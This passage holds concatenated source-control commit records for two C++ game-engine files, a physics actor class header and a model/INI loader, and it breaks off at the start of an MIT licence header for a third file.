GetStepDownHeight() const;\n  virtual float GetWeight() const;\n\n  float GetMass() const { return xe8_mass; }\n  void SetPrimitiveOffset(const zeus::CVector2f& offset);\n  const zeus::CVector3f& GetPrimitiveOffset() const { return x1e8_primitiveOffset; }\n  void MoveCollisionPrimitive(const zeus::CVector3f& offset);\n  void SetBoundingBox(const zeus::CAABox& box);\n  zeus::CAABox GetMotionVolume(float dt) const;\n  zeus::CVector3f CalculateNewVelocityWR_UsingImpulses() const;\n  zeus::CAABox GetBoundingBox() const;\n  const zeus::CAABox& GetBaseBoundingBox() const;\n  void AddMotionState(const CMotionState& mst);\n  CMotionState GetMotionState() const;\n  const CMotionState& GetLastNonCollidingState() const { return x1f4_lastNonCollidingState; }\n  void SetLastNonCollidingState(const CMotionState& mst) { x1f4_lastNonCollidingState = mst; }\n  void SetMotionState(const CMotionState& mst);\n  float GetMaximumCollisionVelocity() const { return x238_maximumCollisionVelocity; }\n  void SetMaximumCollisionVelocity(float v) { x238_maximumCollisionVelocity = v; }\n  void SetInertiaTensorScalar(float tensor);\n  void SetMass(float mass);\n  void SetAngularVelocityOR(const zeus::CAxisAngle& angVel);\n  zeus::CAxisAngle GetAngularVelocityOR() const;\n  const zeus::CAxisAngle& GetAngularVelocityWR() const { return x144_angularVelocity; }\n  void SetAngularVelocityWR(const zeus::CAxisAngle& angVel);\n  const zeus::CVector3f& GetForceOR() const { return x15c_force; }\n  const zeus::CVector3f& GetImpulseOR() const { return x168_impulse; }\n  const zeus::CVector3f& GetMoveImpulseOR() const { return x18c_moveImpulse; }\n  void SetVelocityWR(const zeus::CVector3f& vel);\n  void SetVelocityOR(const zeus::CVector3f& vel);\n  void SetMomentumWR(const zeus::CVector3f& m) { x150_momentum = m; }\n  const zeus::CVector3f& GetConstantForce() const { return xfc_constantForce; }\n  void SetConstantForce(const zeus::CVector3f& f) { xfc_constantForce = f; }\n  void SetAngularMomentum(const zeus::CAxisAngle& m) { x108_angularMomentum = m; }\n  const zeus::CVector3f& GetMomentum() const { return x150_momentum; }\n  const zeus::CVector3f& GetVelocity() const { return x138_velocity; }\n  const zeus::CAxisAngle& GetAngularImpulse() const { return x180_angularImpulse; }\n  void SetAngularImpulse(const zeus::CAxisAngle& i) { x180_angularImpulse = i; }\n  zeus::CVector3f GetTotalForcesWR() const;\n  void RotateInOneFrameOR(const zeus::CQuaternion& q, float d);\n  void MoveInOneFrameOR(const zeus::CVector3f& trans, float d);\n  void RotateToOR(const zeus::CQuaternion& q, float d);\n  void MoveToOR(const zeus::CVector3f& trans, float d);\n  void MoveToInOneFrameWR(const zeus::CVector3f& v1, float d);\n  void MoveToWR(const zeus::CVector3f& trans, float d);\n  zeus::CAxisAngle GetRotateToORAngularMomentumWR(const zeus::CQuaternion& q, float d) const;\n  zeus::CVector3f GetMoveToORImpulseWR(const zeus::CVector3f& trans, float d) const;\n  void ClearImpulses();\n  void ClearForcesAndTorques();\n  void Stop();\n  void ComputeDerivedQuantities();\n  bool WillMove(const CStateManager&) const;\n  void SetPhysicsState(const CPhysicsState& state);\n  CPhysicsState GetPhysicsState() const;\n  bool IsMovable() const { return xf8_24_movable; }\n  void SetMovable(bool m) { xf8_24_movable = m; }\n  bool IsAngularEnabled() const { return xf8_25_angularEnabled; }\n  void SetAngularEnabled(bool e) { xf8_25_angularEnabled = e; }\n  float GetCollisionAccuracyModifier() const { return x248_collisionAccuracyModifier; }\n  void SetCollisionAccuracyModifier(float m) { x248_collisionAccuracyModifier = m; }\n  float GetCoefficientOfRestitutionModifier() const { return x244_restitutionCoefModifier; }\n  void SetCoefficientOfRestitutionModifier(float m) { x244_restitutionCoefModifier = m; }\n  bool IsUseStandardCollider() const { return xf9_standardCollider; }\n  u32 GetNumTicksPartialUpdate() const { return x250_numTicksPartialUpdate; }\n  void SetNumTicksPartialUpdate(u32 t) { x250_numTicksPartialUpdate = t; }\n  u32 GetNumTicksStuck() const { return x24c_numTicksStuck; }\n  void SetNumTicksStuck(u32 t) { x24c_numTicksStuck = t; }\n  const std::optional<zeus::CVector3f>& GetLastFloorPlaneNormal() const {\n    return x228_lastFloorPlaneNormal;\n  }\n  void SetLastFloorPlaneNormal(const std::optional<zeus::CVector3f>& n) { x228_lastFloorPlaneNormal = n; }\n\n  CMotionState PredictMotion_Internal(float) const;\n  CMotionState PredictMotion(float dt) const;\n  CMotionState PredictLinearMotion(float dt) const;\n  CMotionState PredictAngularMotion(float dt) const;\n  void ApplyForceOR(const zeus::CVector3f& force, const zeus::CAxisAngle& angle);\n  void ApplyForceWR(const zeus::CVector3f& force, const zeus::CAxisAngle& angle);\n  void ApplyImpulseOR(const zeus::CVector3f& impulse, const zeus::CAxisAngle& angle);\n  void ApplyImpulseWR(const zeus::CVector3f& impulse, const zeus::CAxisAngle& angle);\n  void ApplyTorqueWR(const zeus::CVector3f& torque);\n\n  void UseCollisionImpulses();\n  static constexpr float GravityConstant() { return 9.81f * 2.5f; } \/* 9.81 m\/s ^ 2 is normal acceleration under earth gravity, Tallon 4 is 2.5 times that *\/\n};\n} \/\/ namespace urde\n<commit_msg>CPhysicsActor: Add names to parameters in prototypes<commit_after>#pragma once\n\n#include <optional>\n\n#include \"Runtime\/Collision\/CCollidableAABox.hpp\"\n#include \"Runtime\/World\/CActor.hpp\"\n\n#include <zeus\/CAxisAngle.hpp>\n#include <zeus\/CQuaternion.hpp>\n#include <zeus\/CTransform.hpp>\n#include <zeus\/CVector3f.hpp>\n\nnamespace urde {\nclass CCollisionInfoList;\nstruct SMoverData;\n\nstruct SMoverData {\n  zeus::CVector3f x0_velocity;\n  zeus::CAxisAngle xc_angularVelocity;\n  zeus::CVector3f x18_momentum;\n  zeus::CAxisAngle x24_;\n  float x30_mass;\n\n  SMoverData(float mass) : x30_mass(mass) {}\n};\n\nstruct CMotionState {\n  zeus::CVector3f x0_translation;\n  zeus::CNUQuaternion xc_orientation;\n  zeus::CVector3f x1c_velocity;\n  zeus::CAxisAngle x28_angularMomentum;\n  CMotionState(const zeus::CVector3f& origin, const zeus::CNUQuaternion& orientation, const zeus::CVector3f& velocity,\n               const zeus::CAxisAngle& angle)\n  : x0_translation(origin), xc_orientation(orientation), x1c_velocity(velocity), x28_angularMomentum(angle) {}\n  CMotionState(const zeus::CVector3f& origin, const zeus::CNUQuaternion& orientation)\n  : x0_translation(origin), xc_orientation(orientation) {}\n};\n\nclass CPhysicsState {\n  zeus::CVector3f x0_translation;\n  zeus::CQuaternion xc_orientation;\n  zeus::CVector3f x1c_constantForce;\n  zeus::CAxisAngle x28_angularMomentum;\n  zeus::CVector3f x34_momentum;\n  zeus::CVector3f x40_force;\n  zeus::CVector3f x4c_impulse;\n  zeus::CAxisAngle x58_torque;\n  zeus::CAxisAngle x64_angularImpulse;\n\npublic:\n  CPhysicsState(const zeus::CVector3f& translation, const zeus::CQuaternion& orient, const zeus::CVector3f& v2,\n                const zeus::CAxisAngle& a1, const zeus::CVector3f& v3, const zeus::CVector3f& v4,\n                const zeus::CVector3f& v5, const zeus::CAxisAngle& a2, const zeus::CAxisAngle& a3)\n  : x0_translation(translation)\n  , xc_orientation(orient)\n  , x1c_constantForce(v2)\n  , x28_angularMomentum(a1)\n  , x34_momentum(v3)\n  , x40_force(v4)\n  , x4c_impulse(v5)\n  , x58_torque(a2)\n  , x64_angularImpulse(a3) {}\n\n  void SetTranslation(const zeus::CVector3f& tr) { x0_translation = tr; }\n  void SetOrientation(const zeus::CQuaternion& orient) { xc_orientation = orient; }\n  const zeus::CQuaternion& GetOrientation() const { return xc_orientation; }\n  const zeus::CVector3f& GetTranslation() const { return x0_translation; }\n  const zeus::CVector3f& GetConstantForceWR() const { return x1c_constantForce; }\n  const zeus::CAxisAngle& GetAngularMomentumWR() const { return x28_angularMomentum; }\n  const zeus::CVector3f& GetMomentumWR() const { return x34_momentum; }\n  const zeus::CVector3f& GetForceWR() const { return x40_force; }\n  const zeus::CVector3f& GetImpulseWR() const { return x4c_impulse; }\n  const zeus::CAxisAngle& GetTorque() const { return x58_torque; }\n  const zeus::CAxisAngle& GetAngularImpulseWR() const { return x64_angularImpulse; }\n};\n\nclass CPhysicsActor : public CActor {\n  friend class CGroundMovement;\n\nprotected:\n  float xe8_mass;\n  float xec_massRecip;\n  float xf0_inertiaTensor;\n  float xf4_inertiaTensorRecip;\n  union {\n    struct {\n      bool xf8_24_movable : 1;\n      bool xf8_25_angularEnabled : 1;\n    };\n    u8 _dummy = 0;\n  };\n  bool xf9_standardCollider = false;\n  zeus::CVector3f xfc_constantForce;\n  zeus::CAxisAngle x108_angularMomentum;\n  zeus::CMatrix3f x114_;\n  zeus::CVector3f x138_velocity;\n  zeus::CAxisAngle x144_angularVelocity;\n  zeus::CVector3f x150_momentum;\n  zeus::CVector3f x15c_force;\n  zeus::CVector3f x168_impulse;\n  zeus::CAxisAngle x174_torque;\n  zeus::CAxisAngle x180_angularImpulse;\n  zeus::CVector3f x18c_moveImpulse;\n  zeus::CAxisAngle x198_moveAngularImpulse;\n  zeus::CAABox x1a4_baseBoundingBox;\n  CCollidableAABox x1c0_collisionPrimitive;\n  zeus::CVector3f x1e8_primitiveOffset;\n  CMotionState x1f4_lastNonCollidingState;\n  std::optional<zeus::CVector3f> x228_lastFloorPlaneNormal;\n  float x238_maximumCollisionVelocity = 1000000.0f;\n  float x23c_stepUpHeight;\n  float x240_stepDownHeight;\n  float x244_restitutionCoefModifier = 0.f;\n  float x248_collisionAccuracyModifier = 1.f;\n  u32 x24c_numTicksStuck = 0;\n  u32 x250_numTicksPartialUpdate = 0;\n\npublic:\n  CPhysicsActor(TUniqueId uid, bool active, std::string_view name, const CEntityInfo& info, const zeus::CTransform& xf,\n                CModelData&& mData, const CMaterialList& matList, const zeus::CAABox& box, const SMoverData& moverData,\n                const CActorParameters& actorParms, float stepUp, float stepDown);\n\n  void Render(const CStateManager& mgr) const override;\n  zeus::CVector3f GetOrbitPosition(const CStateManager& mgr) const override;\n  zeus::CVector3f GetAimPosition(const CStateManager& mgr, float val) const override;\n  virtual const CCollisionPrimitive* GetCollisionPrimitive() const;\n  virtual zeus::CTransform GetPrimitiveTransform() const;\n  virtual void CollidedWith(TUniqueId id, const CCollisionInfoList& list, CStateManager& mgr);\n  virtual float GetStepUpHeight() const;\n  virtual float GetStepDownHeight() const;\n  virtual float GetWeight() const;\n\n  float GetMass() const { return xe8_mass; }\n  void SetPrimitiveOffset(const zeus::CVector2f& offset);\n  const zeus::CVector3f& GetPrimitiveOffset() const { return x1e8_primitiveOffset; }\n  void MoveCollisionPrimitive(const zeus::CVector3f& offset);\n  void SetBoundingBox(const zeus::CAABox& box);\n  zeus::CAABox GetMotionVolume(float dt) const;\n  zeus::CVector3f CalculateNewVelocityWR_UsingImpulses() const;\n  zeus::CAABox GetBoundingBox() const;\n  const zeus::CAABox& GetBaseBoundingBox() const;\n  void AddMotionState(const CMotionState& mst);\n  CMotionState GetMotionState() const;\n  const CMotionState& GetLastNonCollidingState() const { return x1f4_lastNonCollidingState; }\n  void SetLastNonCollidingState(const CMotionState& mst) { x1f4_lastNonCollidingState = mst; }\n  void SetMotionState(const CMotionState& mst);\n  float GetMaximumCollisionVelocity() const { return x238_maximumCollisionVelocity; }\n  void SetMaximumCollisionVelocity(float velocity) { x238_maximumCollisionVelocity = velocity; }\n  void SetInertiaTensorScalar(float tensor);\n  void SetMass(float mass);\n  void SetAngularVelocityOR(const zeus::CAxisAngle& angVel);\n  zeus::CAxisAngle GetAngularVelocityOR() const;\n  const zeus::CAxisAngle& GetAngularVelocityWR() const { return x144_angularVelocity; }\n  void SetAngularVelocityWR(const zeus::CAxisAngle& angVel);\n  const zeus::CVector3f& GetForceOR() const { return x15c_force; }\n  const zeus::CVector3f& GetImpulseOR() const { return x168_impulse; }\n  const zeus::CVector3f& GetMoveImpulseOR() const { return x18c_moveImpulse; }\n  void SetVelocityWR(const zeus::CVector3f& vel);\n  void SetVelocityOR(const zeus::CVector3f& vel);\n  void SetMomentumWR(const zeus::CVector3f& momentum) { x150_momentum = momentum; }\n  const zeus::CVector3f& GetConstantForce() const { return xfc_constantForce; }\n  void SetConstantForce(const zeus::CVector3f& force) { xfc_constantForce = force; }\n  void SetAngularMomentum(const zeus::CAxisAngle& momentum) { x108_angularMomentum = momentum; }\n  const zeus::CVector3f& GetMomentum() const { return x150_momentum; }\n  const zeus::CVector3f& GetVelocity() const { return x138_velocity; }\n  const zeus::CAxisAngle& GetAngularImpulse() const { return x180_angularImpulse; }\n  void SetAngularImpulse(const zeus::CAxisAngle& impulse) { x180_angularImpulse = impulse; }\n  zeus::CVector3f GetTotalForcesWR() const;\n  void RotateInOneFrameOR(const zeus::CQuaternion& q, float d);\n  void MoveInOneFrameOR(const zeus::CVector3f& trans, float d);\n  void RotateToOR(const zeus::CQuaternion& q, float d);\n  void MoveToOR(const zeus::CVector3f& trans, float d);\n  void MoveToInOneFrameWR(const zeus::CVector3f& v1, float d);\n  void MoveToWR(const zeus::CVector3f& trans, float d);\n  zeus::CAxisAngle GetRotateToORAngularMomentumWR(const zeus::CQuaternion& q, float d) const;\n  zeus::CVector3f GetMoveToORImpulseWR(const zeus::CVector3f& trans, float d) const;\n  void ClearImpulses();\n  void ClearForcesAndTorques();\n  void Stop();\n  void ComputeDerivedQuantities();\n  bool WillMove(const CStateManager& mgr) const;\n  void SetPhysicsState(const CPhysicsState& state);\n  CPhysicsState GetPhysicsState() const;\n  bool IsMovable() const { return xf8_24_movable; }\n  void SetMovable(bool movable) { xf8_24_movable = movable; }\n  bool IsAngularEnabled() const { return xf8_25_angularEnabled; }\n  void SetAngularEnabled(bool enabled) { xf8_25_angularEnabled = enabled; }\n  float GetCollisionAccuracyModifier() const { return x248_collisionAccuracyModifier; }\n  void SetCollisionAccuracyModifier(float modifier) { x248_collisionAccuracyModifier = modifier; }\n  float GetCoefficientOfRestitutionModifier() const { return x244_restitutionCoefModifier; }\n  void SetCoefficientOfRestitutionModifier(float modifier) { x244_restitutionCoefModifier = modifier; }\n  bool IsUseStandardCollider() const { return xf9_standardCollider; }\n  u32 GetNumTicksPartialUpdate() const { return x250_numTicksPartialUpdate; }\n  void SetNumTicksPartialUpdate(u32 ticks) { x250_numTicksPartialUpdate = ticks; }\n  u32 GetNumTicksStuck() const { return x24c_numTicksStuck; }\n  void SetNumTicksStuck(u32 ticks) { x24c_numTicksStuck = ticks; }\n  const std::optional<zeus::CVector3f>& GetLastFloorPlaneNormal() const {\n    return x228_lastFloorPlaneNormal;\n  }\n  void SetLastFloorPlaneNormal(const std::optional<zeus::CVector3f>& normal) { x228_lastFloorPlaneNormal = normal; }\n\n  CMotionState PredictMotion_Internal(float) const;\n  CMotionState PredictMotion(float dt) const;\n  CMotionState PredictLinearMotion(float dt) const;\n  CMotionState PredictAngularMotion(float dt) const;\n  void ApplyForceOR(const zeus::CVector3f& force, const zeus::CAxisAngle& angle);\n  void ApplyForceWR(const zeus::CVector3f& force, const zeus::CAxisAngle& angle);\n  void ApplyImpulseOR(const zeus::CVector3f& impulse, const zeus::CAxisAngle& angle);\n  void ApplyImpulseWR(const zeus::CVector3f& impulse, const zeus::CAxisAngle& angle);\n  void ApplyTorqueWR(const zeus::CVector3f& torque);\n\n  void UseCollisionImpulses();\n  static constexpr float GravityConstant() { return 9.81f * 2.5f; } \/* 9.81 m\/s ^ 2 is normal acceleration under earth gravity, Tallon 4 is 2.5 times that *\/\n};\n} \/\/ namespace urde\n<|endoftext|>"}
{"text":"<commit_before>#include <HgModel.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <HgVbo.h>\n\n#include \"oglDisplay.h\"\n\n#include <ini.h>\n\ntypedef struct header {\n\tuint32_t vertex_count, index_count;\n} header;\n\n\nstatic model_data LoadModel(const char* filename) {\n\theader head;\n\tmodel_data r;\n\tr.vertices = NULL;\n\tr.indices = NULL;\n\n\tvbo_layout_vnu* buffer1 = NULL;\n\tuint16_t* buffer2 = NULL;\n\n\tFILE* f = NULL;\n\terrno_t err = fopen_s(&f, filename, \"rb\");\n\tif (err != 0) {\n\t\tfprintf(stderr, \"Unable to open file \\\"%s\\\"\\n\", filename);\n\t\treturn r;\n\t}\n\n\tint32_t read = fread(&head, sizeof(head), 1, f);\n\tif (read != 1) {\n\t\tfprintf(stderr, \"Unable to read file header for \\\"%s\\\"\\n\", filename);\n\t\tfclose(f);\n\t\treturn r;\n\t}\n\n\tif (head.vertex_count > 65535) {\n\t\tfprintf(stderr, \"Too many vertices for \\\"%s\\\"\\n\", filename);\n\t\tfclose(f);\n\t\treturn r;\n\t}\n\n\tif (head.index_count > 1000000) {\n\t\tfprintf(stderr, \"Too many indices for \\\"%s\\\"\\n\", filename);\n\t\tfclose(f);\n\t\treturn r;\n\t}\n\n\tbuffer1 = (vbo_layout_vnu*)malloc(sizeof(*buffer1)*head.vertex_count);\n\tbuffer2 = (uint16_t*)malloc(sizeof(*buffer2)*head.index_count);\n\n\tread = fread(buffer1, sizeof(*buffer1), head.vertex_count, f);\n\tif (read != head.vertex_count) {\n\t\tfprintf(stderr, \"Error, %d vertices expected, read %d\", head.vertex_count, read);\n\t\tfree(buffer1);\n\t\tfree(buffer2);\n\t\tfclose(f);\n\t\treturn r;\n\t}\n\n\tread = fread(buffer2, sizeof(*buffer2), head.index_count, f);\n\tif (read != head.index_count) {\n\t\tfprintf(stderr, \"Error, %d indices expected, read %d\", head.index_count, read);\n\t\tfree(buffer1);\n\t\tfree(buffer2);\n\t\tfclose(f);\n\t\treturn r;\n\t}\n\n\tfclose(f);\n\n\tr.vertices = buffer1;\n\tr.indices = buffer2;\n\tr.vertex_count = head.vertex_count;\n\tr.index_count = head.index_count;\n\n\treturn r;\n}\n\nstatic RenderData* init_render_data() {\n\tOGLRenderData* rd = OGLRenderData::Create();\n\/\/\trd->baseRender.renderFunc = model_render;\n\treturn rd;\n}\n\nstatic void updateClbk(HgElement* e, uint32_t tdelta) {\n\t\/\/\tprintf(\"cube\\n\");\n}\n\nmodel_data::model_data()\n\t:vertices(nullptr), indices(nullptr)\n{\n\n}\nmodel_data::~model_data() {\n}\n\nstatic void destroy(HgElement* e) {\n\/\/\tSCALL(e->m_renderData, destroy);\n\tfree(e->m_renderData);\n\te->m_renderData = NULL;\n}\n\nstatic void change_to_model(HgElement* element) {\n\/\/\telement->vptr_idx = VTABLE_INDEX;\n\n\t\/\/create an instance of the render data for all triangles to share\n\telement->m_renderData = init_render_data(); \/\/this needs to be per model instance if the model is animated\n}\n\nint8_t model_load(HgElement* element, const char* filename) {\n\tchange_to_model(element);\n\n\tOGLRenderData* rd = (OGLRenderData*)element->m_renderData;\n\n\tSET_FLAG(element, HGE_DESTROY); \/\/clear when we make it to the end\n\n\tmodel_data mdl = LoadModel(filename);\n\tif (mdl.vertices == NULL || mdl.indices == NULL) return -1;\n\n\trd->hgVbo = &staticVboVNU;\n\trd->vertex_count = mdl.vertex_count;\n\trd->index_count = mdl.index_count;\n\trd->vbo_offset = staticVboVNU.add_data(mdl.vertices, rd->vertex_count);\n\tfree(mdl.vertices);\n\n\/\/\tmrd->index_count = mdl.index_count;\n\trd->indices.data = mdl.indices;\n\trd->indices.owns_ptr = 1;\n\trd->renderFunction = Indice16Render;\n\n\tCLEAR_FLAG(element, HGE_DESTROY);\n\n\treturn 0;\n}\n\ntypedef struct iniData{\n\tstd::string modeFilename;\n\tfloat scale;\n\tvector3 origin;\n\tquaternion orientation;\n\tstd::string vertexShader;\n\tstd::string fragmentShader;\n} iniData;\n\nstatic int iniHandler(void* user, const char* section, const char* name, const char* value) {\n\tiniData* data = (iniData*)user;\n\t\n\t#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0\n\n\tif (MATCH(\"Model\", \"file\")) {\n\t\tdata->modeFilename = value;\n\t}\n\telse if (MATCH(\"Model\", \"scale\")) {\n\t\tdata->scale = ::atof(value);\n\t}\n\telse if (MATCH(\"Model\", \"origin\")) {\n\t\tfloat x, y, z;\n\t\tint r = sscanf(value, \"%f,%f,%f\", &x, &y, &z);\n\t\tif (r == 3) {\n\t\t\tdata->origin = { x,y,z };\n\t\t}\n\t\telse {\n\t\t\t\/\/warn\n\t\t}\n\t}\n\telse if (MATCH(\"Model\", \"orientation\")) {\n\t\tfloat x, y, z;\n\t\tint r = sscanf(value, \"%f,%f,%f\", &x, &y, &z);\n\t\tif (r == 3) {\n\t\t\tdata->orientation = toQuaternion2(y, x, z); \/\/y,x,z\n\t\t}\n\t\telse {\n\t\t\t\/\/warn\n\t\t}\n\t}\n\telse if (MATCH(\"Model\", \"vertexShader\")) {\n\t\tdata->vertexShader = value;\n\t}\n\telse if (MATCH(\"Model\", \"fragmentShader\")) {\n\t\tdata->fragmentShader = value;\n\t}\n\treturn 0;\n}\n\nbool model_load_ini(HgElement* element, std::string filename) {\n\tchange_to_model(element);\n\tiniData data;\n\n\tini_parse(filename.c_str(), iniHandler, &data);\n\n\tif (model_load(element, data.modeFilename.c_str()) < 0) return false;\n\n\telement->scale = data.scale;\n\telement->origin.components.z = data.origin.components.z \/ element->scale;\n\telement->origin.components.y = data.origin.components.y \/ element->scale;\n\telement->origin.components.x = data.origin.components.x \/ element->scale;\n\telement->rotation = data.orientation;\n\n\tif (!data.vertexShader.empty() && !data.fragmentShader.empty())\n\t\telement->m_renderData->shader = HgShader::acquire(data.vertexShader.c_str(), data.fragmentShader.c_str());\n\n\treturn true;\n}\n\n\/*\nvoid model_create(HgElement* element) {\n\telement->position.components.x = 0.0f;\n\telement->position.components.y = 0.0f;\n\telement->position.components.z = 0.0f;\n\n\telement->rotation.w = 1.0f;\n\t\/\/\telement->rotation.z = 0.707f;\n\n\telement->scale = 1;\n\n\tchange_to_model(element);\n}\n*\/\n\nREGISTER_LINKTIME(hgmodel,change_to_model);<commit_msg>add position to ini fix initial values<commit_after>#include <HgModel.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <HgVbo.h>\n\n#include \"oglDisplay.h\"\n\n#include <ini.h>\n\ntypedef struct header {\n\tuint32_t vertex_count, index_count;\n} header;\n\n\nstatic model_data LoadModel(const char* filename) {\n\theader head;\n\tmodel_data r;\n\tr.vertices = NULL;\n\tr.indices = NULL;\n\n\tvbo_layout_vnu* buffer1 = NULL;\n\tuint16_t* buffer2 = NULL;\n\n\tFILE* f = NULL;\n\terrno_t err = fopen_s(&f, filename, \"rb\");\n\tif (err != 0) {\n\t\tfprintf(stderr, \"Unable to open file \\\"%s\\\"\\n\", filename);\n\t\treturn r;\n\t}\n\n\tint32_t read = fread(&head, sizeof(head), 1, f);\n\tif (read != 1) {\n\t\tfprintf(stderr, \"Unable to read file header for \\\"%s\\\"\\n\", filename);\n\t\tfclose(f);\n\t\treturn r;\n\t}\n\n\tif (head.vertex_count > 65535) {\n\t\tfprintf(stderr, \"Too many vertices for \\\"%s\\\"\\n\", filename);\n\t\tfclose(f);\n\t\treturn r;\n\t}\n\n\tif (head.index_count > 1000000) {\n\t\tfprintf(stderr, \"Too many indices for \\\"%s\\\"\\n\", filename);\n\t\tfclose(f);\n\t\treturn r;\n\t}\n\n\tbuffer1 = (vbo_layout_vnu*)malloc(sizeof(*buffer1)*head.vertex_count);\n\tbuffer2 = (uint16_t*)malloc(sizeof(*buffer2)*head.index_count);\n\n\tread = fread(buffer1, sizeof(*buffer1), head.vertex_count, f);\n\tif (read != head.vertex_count) {\n\t\tfprintf(stderr, \"Error, %d vertices expected, read %d\", head.vertex_count, read);\n\t\tfree(buffer1);\n\t\tfree(buffer2);\n\t\tfclose(f);\n\t\treturn r;\n\t}\n\n\tread = fread(buffer2, sizeof(*buffer2), head.index_count, f);\n\tif (read != head.index_count) {\n\t\tfprintf(stderr, \"Error, %d indices expected, read %d\", head.index_count, read);\n\t\tfree(buffer1);\n\t\tfree(buffer2);\n\t\tfclose(f);\n\t\treturn r;\n\t}\n\n\tfclose(f);\n\n\tr.vertices = buffer1;\n\tr.indices = buffer2;\n\tr.vertex_count = head.vertex_count;\n\tr.index_count = head.index_count;\n\n\treturn r;\n}\n\nstatic RenderData* init_render_data() {\n\tOGLRenderData* rd = OGLRenderData::Create();\n\/\/\trd->baseRender.renderFunc = model_render;\n\treturn rd;\n}\n\nstatic void updateClbk(HgElement* e, uint32_t tdelta) {\n\t\/\/\tprintf(\"cube\\n\");\n}\n\nmodel_data::model_data()\n\t:vertices(nullptr), indices(nullptr)\n{\n\n}\nmodel_data::~model_data() {\n}\n\nstatic void destroy(HgElement* e) {\n\/\/\tSCALL(e->m_renderData, destroy);\n\tfree(e->m_renderData);\n\te->m_renderData = NULL;\n}\n\nstatic void change_to_model(HgElement* element) {\n\/\/\telement->vptr_idx = VTABLE_INDEX;\n\n\t\/\/create an instance of the render data for all triangles to share\n\telement->m_renderData = init_render_data(); \/\/this needs to be per model instance if the model is animated\n}\n\nint8_t model_load(HgElement* element, const char* filename) {\n\tchange_to_model(element);\n\n\tOGLRenderData* rd = (OGLRenderData*)element->m_renderData;\n\n\tSET_FLAG(element, HGE_DESTROY); \/\/clear when we make it to the end\n\n\tmodel_data mdl = LoadModel(filename);\n\tif (mdl.vertices == NULL || mdl.indices == NULL) return -1;\n\n\trd->hgVbo = &staticVboVNU;\n\trd->vertex_count = mdl.vertex_count;\n\trd->index_count = mdl.index_count;\n\trd->vbo_offset = staticVboVNU.add_data(mdl.vertices, rd->vertex_count);\n\tfree(mdl.vertices);\n\n\/\/\tmrd->index_count = mdl.index_count;\n\trd->indices.data = mdl.indices;\n\trd->indices.owns_ptr = 1;\n\trd->renderFunction = Indice16Render;\n\n\tCLEAR_FLAG(element, HGE_DESTROY);\n\n\treturn 0;\n}\n\ntypedef struct iniData{\n\tiniData() {\n\t\tscale = 1.0f;\n\t\torigin = position = { 0,0,0 };\n\t}\n\tstd::string modeFilename;\n\tfloat scale;\n\tvector3 origin;\n\tvector3 position;\n\tquaternion orientation;\n\tstd::string vertexShader;\n\tstd::string fragmentShader;\n} iniData;\n\nstatic int iniHandler(void* user, const char* section, const char* name, const char* value) {\n\tiniData* data = (iniData*)user;\n\t\n\t#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0\n\n\tif (MATCH(\"Model\", \"file\")) {\n\t\tdata->modeFilename = value;\n\t}\n\telse if (MATCH(\"Model\", \"scale\")) {\n\t\tdata->scale = ::atof(value);\n\t}\n\telse if (MATCH(\"Model\", \"origin\")) {\n\t\tfloat x, y, z;\n\t\tint r = sscanf(value, \"%f,%f,%f\", &x, &y, &z);\n\t\tif (r == 3) {\n\t\t\tdata->origin = { x,y,z };\n\t\t}\n\t\telse {\n\t\t\t\/\/warn\n\t\t}\n\t}\n\telse if (MATCH(\"Model\", \"position\")) {\n\t\tfloat x, y, z;\n\t\tint r = sscanf(value, \"%f,%f,%f\", &x, &y, &z);\n\t\tif (r == 3) {\n\t\t\tdata->position = { x,y,z };\n\t\t}\n\t\telse {\n\t\t\t\/\/warn\n\t\t}\n\t}\n\telse if (MATCH(\"Model\", \"orientation\")) {\n\t\tfloat x, y, z;\n\t\tint r = sscanf(value, \"%f,%f,%f\", &x, &y, &z);\n\t\tif (r == 3) {\n\t\t\tdata->orientation = toQuaternion2(y, x, z); \/\/y,x,z\n\t\t}\n\t\telse {\n\t\t\t\/\/warn\n\t\t}\n\t}\n\telse if (MATCH(\"Model\", \"vertexShader\")) {\n\t\tdata->vertexShader = value;\n\t}\n\telse if (MATCH(\"Model\", \"fragmentShader\")) {\n\t\tdata->fragmentShader = value;\n\t}\n\treturn 0;\n}\n\nbool model_load_ini(HgElement* element, std::string filename) {\n\tchange_to_model(element);\n\tiniData data;\n\n\tini_parse(filename.c_str(), iniHandler, &data);\n\n\tif (model_load(element, data.modeFilename.c_str()) < 0) return false;\n\n\telement->scale = data.scale;\n\telement->origin.components.z = data.origin.components.z \/ element->scale;\n\telement->origin.components.y = data.origin.components.y \/ element->scale;\n\telement->origin.components.x = data.origin.components.x \/ element->scale;\n\telement->position = data.position;\n\telement->rotation = data.orientation;\n\n\tif (!data.vertexShader.empty() && !data.fragmentShader.empty())\n\t\telement->m_renderData->shader = HgShader::acquire(data.vertexShader.c_str(), data.fragmentShader.c_str());\n\n\treturn true;\n}\n\n\/*\nvoid model_create(HgElement* element) {\n\telement->position.components.x = 0.0f;\n\telement->position.components.y = 0.0f;\n\telement->position.components.z = 0.0f;\n\n\telement->rotation.w = 1.0f;\n\t\/\/\telement->rotation.z = 0.707f;\n\n\telement->scale = 1;\n\n\tchange_to_model(element);\n}\n*\/\n\nREGISTER_LINKTIME(hgmodel,change_to_model);<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/\n\/\/ MIT License\n\/\/\n\/\/ Copyright (c) 2020 Stellacore Corporation.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining\n\/\/ a copy of this software and associated documentation files (the\n\/\/ \"Software\"), to deal in the Software without restriction, including\n\/\/ without limitation the rights to use, copy, modify, merge, publish,\n\/\/ distribute, sublicense, and\/or sell copies of the Software, and to\n\/\/ permit persons to whom the Software is furnished to do so, subject\n\/\/ to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be\n\/\/ included in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY\n\/\/ KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n\/\/ WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n\/\/ BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN\n\/\/ AN ACTION OF CONTRACT, 